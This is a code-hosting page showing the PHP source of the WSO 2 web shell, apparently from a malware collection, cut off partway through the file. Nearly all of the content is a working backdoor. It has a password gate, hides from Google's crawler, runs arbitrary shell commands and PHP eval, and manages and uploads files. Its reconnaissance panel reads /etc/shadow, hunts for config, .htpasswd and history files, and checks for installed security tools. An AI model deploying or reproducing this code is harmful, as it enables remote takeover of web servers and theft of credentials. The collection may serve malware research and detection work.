PageRenderTime 55ms CodeModel.GetById 11ms RepoModel.GetById 0ms app.codeStats 1ms

/Backdoors/PHP/wso2.php

http://web-malware-collection.googlecode.com/
PHP | 1238 lines | 1197 code | 22 blank | 19 comment | 228 complexity | cbc44fb78220958f81b739b493024688 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. /**
  3. * WSO 2
  4. * Web Shell by oRb
  5. */
  6. $auth = array(
  7. 'md5pass' => "63a9f0ea7bb98050796b649e85481845" // root
  8. );
  9. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  10. header('HTTP/1.0 404 Not Found');
  11. exit;
  12. }
  13. @session_start();
  14. #if(empty($_POST['ajax']))
  15. # print_r($_POST);
  16. error_reporting(E_ALL);
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @set_time_limit(0);
  21. @set_magic_quotes_runtime(0);
  22. @define('VERSION', '2');
  23. @define('SELF_PATH', __FILE__);
  24. function my_strip_slashes(&$p){
  25. if(is_array($p)){
  26. foreach($p as $k => $v) {
  27. my_strip_slashes($v);
  28. $p[$k] = $v;
  29. }
  30. } else
  31. $p = stripslashes($p);
  32. }
  33. if(get_magic_quotes_gpc())
  34. my_strip_slashes($_POST);
  35. function printLogin() {
  36. ?>
  37. <center>
  38. <form method=post>
  39. Password: <input type=password name=pass><input type=submit value='>>'>
  40. </form></center>
  41. <?php
  42. exit;
  43. }
  44. if( !isset( $_SESSION['sh_logined'] ))
  45. if( empty( $auth['md5pass'] ) ||
  46. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth['md5pass'] ) ) )
  47. $_SESSION['sh_logined'] = true;
  48. else
  49. printLogin();
  50. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  51. $os = 'win';
  52. else
  53. $os = 'nix';
  54. $safe_mode = @ini_get('safe_mode');
  55. $disable_functions = @ini_get('disable_functions');
  56. $home_cwd = @getcwd();
  57. if( isset( $_POST['c'] ) )
  58. @chdir($_POST['c']);
  59. $cwd = @getcwd();
  60. if( $os == 'win') {
  61. $home_cwd = str_replace("\\", "/", $home_cwd);
  62. $cwd = str_replace("\\", "/", $cwd);
  63. }
  64. if( $cwd[strlen($cwd)-1] != '/' )
  65. $cwd .= '/';
  66. if($os == 'win')
  67. $aliases = array(
  68. "List Directory" => "dir",
  69. "Find index.php in current dir" => "dir /s /w /b index.php",
  70. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  71. "Show active connections" => "netstat -an",
  72. "Show running services" => "net start",
  73. "User accounts" => "net user",
  74. "Show computers" => "net view",
  75. "ARP Table" => "arp -a",
  76. "IP Configuration" => "ipconfig /all"
  77. );
  78. else
  79. $aliases = array(
  80. "List dir" => "ls -la",
  81. "list file attributes on a Linux second extended file system" => "lsattr -va",
  82. "show opened ports" => "netstat -an | grep -i listen",
  83. "Find" => "",
  84. "find all suid files" => "find / -type f -perm -04000 -ls",
  85. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  86. "find all sgid files" => "find / -type f -perm -02000 -ls",
  87. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  88. "find config.inc.php files" => "find / -type f -name config.inc.php",
  89. "find config* files" => "find / -type f -name \"config*\"",
  90. "find config* files in current dir" => "find . -type f -name \"config*\"",
  91. "find all writable folders and files" => "find / -perm -2 -ls",
  92. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  93. "find all service.pwd files" => "find / -type f -name service.pwd",
  94. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  95. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  96. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  97. "find all .bash_history files" => "find / -type f -name .bash_history",
  98. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  99. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  100. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  101. "Locate" => "",
  102. "locate httpd.conf files" => "locate httpd.conf",
  103. "locate vhosts.conf files" => "locate vhosts.conf",
  104. "locate proftpd.conf files" => "locate proftpd.conf",
  105. "locate psybnc.conf files" => "locate psybnc.conf",
  106. "locate my.conf files" => "locate my.conf",
  107. "locate admin.php files" =>"locate admin.php",
  108. "locate cfg.php files" => "locate cfg.php",
  109. "locate conf.php files" => "locate conf.php",
  110. "locate config.dat files" => "locate config.dat",
  111. "locate config.php files" => "locate config.php",
  112. "locate config.inc files" => "locate config.inc",
  113. "locate config.inc.php" => "locate config.inc.php",
  114. "locate config.default.php files" => "locate config.default.php",
  115. "locate config* files " => "locate config",
  116. "locate .conf files"=>"locate '.conf'",
  117. "locate .pwd files" => "locate '.pwd'",
  118. "locate .sql files" => "locate '.sql'",
  119. "locate .htpasswd files" => "locate '.htpasswd'",
  120. "locate .bash_history files" => "locate '.bash_history'",
  121. "locate .mysql_history files" => "locate '.mysql_history'",
  122. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  123. "locate backup files" => "locate backup",
  124. "locate dump files" => "locate dump",
  125. "locate priv files" => "locate priv"
  126. );
  127. function printHeader() {
  128. if(empty($_POST['charset']))
  129. $_POST['charset'] = "UTF-8";
  130. ?>
  131. <html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
  132. <style>
  133. body { background-color:#444;font: 9pt Lucida,Verdana;color:#e1e1e1;margin: 0; }
  134. td,th { font: 9pt Lucida,Verdana;vertical-align:top; }
  135. table.info { color:#fff;background-color:#222; }
  136. span { color:#df5;font-weight: bolder; }
  137. h1 { color:#df5;border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  138. div.content { padding: 5px;margin-left:5px;background-color:#333; }
  139. a { text-decoration:none; color:#df5; }
  140. a:hover { text-decoration:underline; }
  141. .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  142. .bigarea { width:100%;height:250px; }
  143. input, textarea, select { margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,"Courier New"; }
  144. form { margin:0px; }
  145. #toolsTbl { text-align:center; }
  146. .toolsInp { width: 300px }
  147. .main th{text-align:left;background-color:#5e5e5e;}
  148. .main tr:hover{background-color:#5e5e5e}
  149. .main td, th{vertical-align:middle}
  150. .l1 {background-color:#444}
  151. </style>
  152. <script>
  153. function set(a,c,p1,p2,p3,charset) {
  154. if(a != null)document.mf.a.value=a;
  155. if(c != null)document.mf.c.value=c;
  156. if(p1 != null)document.mf.p1.value=p1;
  157. if(p2 != null)document.mf.p2.value=p2;
  158. if(p3 != null)document.mf.p3.value=p3;
  159. if(charset != null)document.mf.charset.value=charset;
  160. }
  161. function g(a,c,p1,p2,p3,charset) {
  162. set(a,c,p1,p2,p3,charset);
  163. document.mf.submit();
  164. }
  165. function a(a,c,p1,p2,p3,charset) {
  166. set(a,c,p1,p2,p3,charset);
  167. var params = "ajax=true";
  168. for(i=0;i<document.mf.elements.length;i++)
  169. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  170. sr('<?=$_SERVER['REQUEST_URI'];?>', params);
  171. }
  172. function sr(url, params) {
  173. if (window.XMLHttpRequest) {
  174. req = new XMLHttpRequest();
  175. req.onreadystatechange = processReqChange;
  176. req.open("POST", url, true);
  177. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  178. req.send(params);
  179. }
  180. else if (window.ActiveXObject) {
  181. req = new ActiveXObject("Microsoft.XMLHTTP");
  182. if (req) {
  183. req.onreadystatechange = processReqChange;
  184. req.open("POST", url, true);
  185. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  186. req.send(params);
  187. }
  188. }
  189. }
  190. function processReqChange() {
  191. if( (req.readyState == 4) )
  192. if(req.status == 200) {
  193. //alert(req.responseText);
  194. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  195. var arr=reg.exec(req.responseText);
  196. eval(arr[2].substr(0, arr[1]));
  197. }
  198. else alert("Request error!");
  199. }
  200. </script>
  201. <head><body>
  202. <form method=post name=mf style='display:none;'>
  203. <input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
  204. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  205. <input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
  206. <input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
  207. <input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
  208. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  209. </form>
  210. <?php
  211. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  212. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  213. $totalSpace = $totalSpace?$totalSpace:1;
  214. $release = @php_uname('r');
  215. $kernel = @php_uname('s');
  216. $millink='http://milw0rm.com/search.php?dong=';
  217. if( strpos('Linux', $kernel) !== false )
  218. $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  219. else
  220. $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
  221. if(!function_exists('posix_getegid')) {
  222. $user = @get_current_user();
  223. $uid = @getmyuid();
  224. $gid = @getmygid();
  225. $group = "?";
  226. } else {
  227. $uid = @posix_getpwuid(@posix_geteuid());
  228. $gid = @posix_getgrgid(@posix_getegid());
  229. $user = $uid['name'];
  230. $uid = $uid['uid'];
  231. $group = $gid['name'];
  232. $gid = $gid['gid'];
  233. }
  234. $cwd_links = '';
  235. $path = explode("/", $GLOBALS['cwd']);
  236. $n=count($path);
  237. for($i=0;$i<$n-1;$i++) {
  238. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  239. for($j=0;$j<=$i;$j++)
  240. $cwd_links .= $path[$j].'/';
  241. $cwd_links .= "\")'>".$path[$i]."/</a>";
  242. }
  243. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U');
  244. $opt_charsets = '';
  245. foreach($charsets as $item)
  246. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  247. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network', 'Logout'=>'Logout', 'Self remove' => 'SelfRemove');
  248. $menu = '';
  249. foreach($m as $k => $v)
  250. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  251. $drives = "";
  252. if ($GLOBALS['os'] == 'win') {
  253. foreach( range('a','z') as $drive )
  254. if (is_dir($drive.':\\'))
  255. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  256. }
  257. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  258. '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  259. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  260. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
  261. }
  262. function printFooter() {
  263. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  264. ?>
  265. </div>
  266. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;">
  267. <tr>
  268. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
  269. <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  270. </tr>
  271. <tr>
  272. <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
  273. <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  274. </tr>
  275. <tr>
  276. <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  277. <td><form method='post' ENCTYPE='multipart/form-data'>
  278. <input type=hidden name=a value='FilesMAn'>
  279. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  280. <input type=hidden name=p1 value='uploadFile'>
  281. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  282. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  283. </tr>
  284. </table>
  285. </body></html>
  286. <?php
  287. }
  288. if ( !function_exists("posix_getpwuid") ) { function posix_getpwuid($p) { return false; } }
  289. if ( !function_exists("posix_getgrgid") ) { function posix_getgrgid($p) { return false; } }
  290. function ex($in) {
  291. $out = '';
  292. if(function_exists('exec')) {
  293. @exec($in,$out);
  294. $out = @join("\n",$out);
  295. }elseif(function_exists('passthru')) {
  296. ob_start();
  297. @passthru($in);
  298. $out = ob_get_clean();
  299. }elseif(function_exists('system')) {
  300. ob_start();
  301. @system($in);
  302. $out = ob_get_clean();
  303. }elseif(function_exists('shell_exec')) {
  304. $out = shell_exec($in);
  305. }elseif(is_resource($f = @popen($in,"r"))) {
  306. $out = "";
  307. while(!@feof($f))
  308. $out .= fread($f,1024);
  309. pclose($f);
  310. }
  311. return $out;
  312. }
  313. function viewSize($s) {
  314. if($s >= 1073741824)
  315. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  316. elseif($s >= 1048576)
  317. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  318. elseif($s >= 1024)
  319. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  320. else
  321. return $s . ' B';
  322. }
  323. function perms($p) {
  324. if (($p & 0xC000) == 0xC000)$i = 's';
  325. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  326. elseif (($p & 0x8000) == 0x8000)$i = '-';
  327. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  328. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  329. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  330. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  331. else $i = 'u';
  332. $i .= (($p & 0x0100) ? 'r' : '-');
  333. $i .= (($p & 0x0080) ? 'w' : '-');
  334. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  335. $i .= (($p & 0x0020) ? 'r' : '-');
  336. $i .= (($p & 0x0010) ? 'w' : '-');
  337. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  338. $i .= (($p & 0x0004) ? 'r' : '-');
  339. $i .= (($p & 0x0002) ? 'w' : '-');
  340. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  341. return $i;
  342. }
  343. function viewPermsColor($f) {
  344. if (!is_readable($f))
  345. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  346. elseif (!is_writable($f))
  347. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  348. else
  349. return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  350. }
  351. function which($p) {
  352. $path = ex('which '.$p);
  353. if(!empty($path))
  354. return $path;
  355. return false;
  356. }
  357. function actionSecInfo() {
  358. echo '<h1>Server security information</h1><div class=content>';
  359. function showSecParam($n, $v) {
  360. $v = trim($v);
  361. if($v) {
  362. echo '<span>'.$n.': </span>';
  363. if(strpos($v, "\n") === false)
  364. echo $v.'<br>';
  365. else
  366. echo '<pre class=ml1>'.$v.'</pre>';
  367. }
  368. }
  369. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  370. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  371. showSecParam('Open base dir', @ini_get('open_basedir'));
  372. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  373. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  374. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  375. $temp='';
  376. if(function_exists('mysql_get_client_info'))
  377. $temp = mysql_get_client_info();
  378. showSecParam('MySql support', $temp?$temp:'no');
  379. showSecParam('MSSql support', function_exists('mssql_connect')?'yes':'no');
  380. showSecParam('Oracle support', function_exists('oci_connect')?'yes':'no');
  381. showSecParam('PostgreSQL support', function_exists('oci_connect')?'yes':'no');
  382. echo '<br>';
  383. if( $GLOBALS['os'] == 'nix' ) {
  384. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  385. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  386. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  387. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  388. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  389. showSecParam('OS version', @file_get_contents('/proc/version'));
  390. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  391. if(!$GLOBALS['safe_mode']) {
  392. echo '<br>';
  393. $temp='';
  394. foreach ($userful as $item)
  395. if(which($item)){$temp.=' '.$item;}
  396. showSecParam('Userful', $temp);
  397. $temp='';
  398. foreach ($danger as $item)
  399. if(which($item)){$temp.=' '.$item;}
  400. showSecParam('Danger', $temp);
  401. $temp='';
  402. foreach ($downloaders as $item)
  403. if(which($item)){$temp.=' '.$item;}
  404. showSecParam('Downloaders', $temp);
  405. echo '<br/>';
  406. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  407. showSecParam('CPU', @file_get_contents('/proc/cpuinfo'));
  408. showSecParam('RAM', ex('free -m'));
  409. showSecParam('HDD space', ex('df -h'));
  410. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  411. }
  412. } else {
  413. showSecParam('OS Version',ex('ver'));
  414. showSecParam('Account Settings',ex('net accounts'));
  415. showSecParam('User Accounts',ex('net user'));
  416. }
  417. echo '</div>';
  418. }
  419. function actionPhp() {
  420. if( isset($_POST['ajax']) ) {
  421. ob_start();
  422. eval($_POST['p1']);
  423. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  424. echo strlen($temp), "\n", $temp;
  425. exit;
  426. }
  427. if( isset($_POST['p1']) && ($_POST['p1'] == 'info') ) {
  428. echo '<h1>PHP info</h1><div class=content>';
  429. ob_start();
  430. phpinfo();
  431. $tmp = ob_get_clean();
  432. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  433. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  434. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  435. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  436. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  437. echo $tmp;
  438. echo '</div><br>';
  439. }
  440. echo '<h1>Execution PHP-code</h1><div class=content><textarea class=bigarea id=PhpCode></textarea><input type=button value=Eval style="margin-top:5px" onclick="a(null,null,document.getElementById(\'PhpCode\').value);"><pre id=PhpOutput style="display:none;margin-top:5px;" class=ml1></pre></div>';
  441. }
  442. function actionFilesMan() {
  443. echo '<h1>File manager</h1><div class=content>';
  444. if(isset($_POST['p1'])) {
  445. switch($_POST['p1']) {
  446. case 'uploadFile':
  447. if(!move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  448. echo "Can't upload file!";
  449. break;
  450. break;
  451. case 'mkdir':
  452. if(!@mkdir($_POST['p2']))
  453. echo "Can't create new dir";
  454. break;
  455. case 'delete':
  456. function deleteDir($path) {
  457. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  458. $dh = opendir($path);
  459. while ( ($item = readdir($dh) ) !== false) {
  460. $item = $path.$item;
  461. if ( (basename($item) == "..") || (basename($item) == ".") )
  462. continue;
  463. $type = filetype($item);
  464. if ($type == "dir")
  465. deleteDir($item);
  466. else
  467. @unlink($item);
  468. }
  469. closedir($dh);
  470. rmdir($path);
  471. }
  472. if(is_array(@$_POST['f']))
  473. foreach($_POST['f'] as $f) {
  474. $f = urldecode($f);
  475. if(is_dir($f))
  476. deleteDir($f);
  477. else
  478. @unlink($f);
  479. }
  480. break;
  481. case 'paste':
  482. if($_SESSION['act'] == 'copy') {
  483. function copy_paste($c,$s,$d){
  484. if(is_dir($c.$s)){
  485. mkdir($d.$s);
  486. $h = opendir($c.$s);
  487. while (($f = readdir($h)) !== false)
  488. if (($f != ".") and ($f != "..")) {
  489. copy_paste($c.$s.'/',$f, $d.$s.'/');
  490. }
  491. } elseif(is_file($c.$s)) {
  492. @copy($c.$s, $d.$s);
  493. }
  494. }
  495. foreach($_SESSION['f'] as $f)
  496. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  497. } elseif($_SESSION['act'] == 'move') {
  498. function move_paste($c,$s,$d){
  499. if(is_dir($c.$s)){
  500. mkdir($d.$s);
  501. $h = opendir($c.$s);
  502. while (($f = readdir($h)) !== false)
  503. if (($f != ".") and ($f != "..")) {
  504. copy_paste($c.$s.'/',$f, $d.$s.'/');
  505. }
  506. } elseif(is_file($c.$s)) {
  507. @copy($c.$s, $d.$s);
  508. }
  509. }
  510. foreach($_SESSION['f'] as $f)
  511. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  512. }
  513. unset($_SESSION['f']);
  514. break;
  515. default:
  516. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  517. $_SESSION['act'] = @$_POST['p1'];
  518. $_SESSION['f'] = @$_POST['f'];
  519. foreach($_SESSION['f'] as $k => $f)
  520. $_SESSION['f'][$k] = urldecode($f);
  521. $_SESSION['cwd'] = @$_POST['c'];
  522. }
  523. break;
  524. }
  525. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  526. }
  527. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  528. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  529. global $sort;
  530. $sort = array('name', 1);
  531. if(!empty($_POST['p1'])) {
  532. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  533. $sort = array($match[1], (int)$match[2]);
  534. }
  535. ?>
  536. <script>
  537. function sa() {
  538. for(i=0;i<document.files.elements.length;i++)
  539. if(document.files.elements[i].type == 'checkbox')
  540. document.files.elements[i].checked = document.files.elements[0].checked;
  541. }
  542. </script>
  543. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  544. <form name=files method=post>
  545. <?php
  546. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(null,null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(null,null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(null,null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(null,null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  547. $dirs = $files = $links = array();
  548. $n = count($dirContent);
  549. for($i=0;$i<$n;$i++) {
  550. $ow = posix_getpwuid(@fileowner($dirContent[$i]));
  551. $gr = posix_getgrgid(@filegroup($dirContent[$i]));
  552. $tmp = array('name' => $dirContent[$i],
  553. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  554. 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  555. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  556. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  557. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  558. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  559. );
  560. if(is_file($GLOBALS['cwd'].$dirContent[$i]))
  561. $files[] = array_merge($tmp, array('type' => 'file'));
  562. elseif(is_link($GLOBALS['cwd'].$dirContent[$i]))
  563. $links[] = array_merge($tmp, array('type' => 'link'));
  564. elseif(is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  565. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  566. }
  567. $GLOBALS['sort'] = $sort;
  568. function cmp($a, $b) {
  569. if($GLOBALS['sort'][0] != 'size')
  570. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  571. else
  572. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  573. }
  574. usort($files, "cmp");
  575. usort($dirs, "cmp");
  576. usort($links, "cmp");
  577. $files = array_merge($dirs, $links, $files);
  578. $l = 0;
  579. foreach($files as $f) {
  580. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  581. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  582. $l = $l?0:1;
  583. }
  584. ?>
  585. <tr><td colspan=7>
  586. <input type=hidden name=a value='FilesMan'>
  587. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  588. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  589. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
  590. </form></table></div>
  591. <?php
  592. }
  593. function actionStringTools() {
  594. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  595. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  596. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  597. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  598. if(isset($_POST['ajax'])) {
  599. ob_start();
